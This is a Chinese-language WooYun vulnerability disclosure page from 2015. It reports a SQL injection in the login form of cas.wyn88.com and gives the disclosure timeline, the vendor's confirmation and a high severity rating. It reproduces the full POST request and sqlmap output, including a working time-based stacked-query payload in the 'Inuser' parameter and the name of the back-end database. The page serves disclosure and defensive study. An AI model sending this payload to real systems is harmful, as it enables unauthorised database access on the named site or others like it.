乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-07-22: 细节已通知厂商并且等待厂商处理中 2015-07-23: 厂商已经确认,细节仅向厂商公开 2015-08-02: 细节向核心白帽子及相关领域专家公开 2015-08-12: 细节向普通白帽子公开 2015-08-22: 细节向实习白帽子公开 2015-09-06: 细节向公众公开
注入:POST / HTTP/1.1Host: cas.wyn88.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://cas.wyn88.com/Cookie: Hm_lvt_ae8bddcb177c34849249800dc684ac2c=1437541738; Hm_lpvt_ae8bddcb177c34849249800dc684ac2c=1437541738; sgsa_id=wyn88.com|1437541738138779; sgsa_vt_116053_119137=1437541739219Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 292__VIEWSTATE=%2FwEPDwUJODE4NzQ0NjAzD2QWAgIBD2QWAgIHDxYCHgVzdHlsZQUMZGlzcGxheTpub25lZGSGPPKTHfxGm8K%2B7uK0UOQzs%2BIS4C97McBBu1H7j6o09Q%3D%3D&__EVENTVALIDATION=%2FwEWBALIvbmLDAKb65yqBwKq3fPDCgKC3IfLCWQygO9tMCnRIu0HEnDj45gu0zZJ91mcctYr3SCUt3ZG&Inuser=123&Inpass=123456&btnlogin=%E7%99%BB%E9%99%86
参数:Inuser
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: Inuser (POST) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: __VIEWSTATE=/wEPDwUJODE4NzQ0NjAzD2QWAgIBD2QWAgIHDxYCHgVzdHlsZQUOZGlzcGxheTpibG9jazsWAgIBDxYCHglpbm5lcmh0bWwFJOW3peWPt+S4jeWtmOWcqOaIluWvhueggeS4jeato+ehru+8gWRkNFBdRfSedVWn50tH2Htfb+1GIgs+iv4HajgR2nTDZSc=&__EVENTVALIDATION=/wEWBAKw6LayBwKb65yqBwKq3fPDCgKC3IfLCct379HK4NAGjYLmOMy56o+je1eHMF6AJGrl5JrnEYSt&Inuser=123';WAITFOR DELAY '0:0:5'--&Inpass=123456&btnlogin=%E7%99%BB%E9%99%86---web server operating system: Windowsweb application technology: ASP.NET 4.0.30319, ASP.NET, Nginxback-end DBMS: Microsoft SQL Server 2008current database: 'velcro7'
参数过滤
危害等级:高
漏洞Rank:20
确认时间:2015-07-23 10:51
感谢关注 ,处理中。
暂无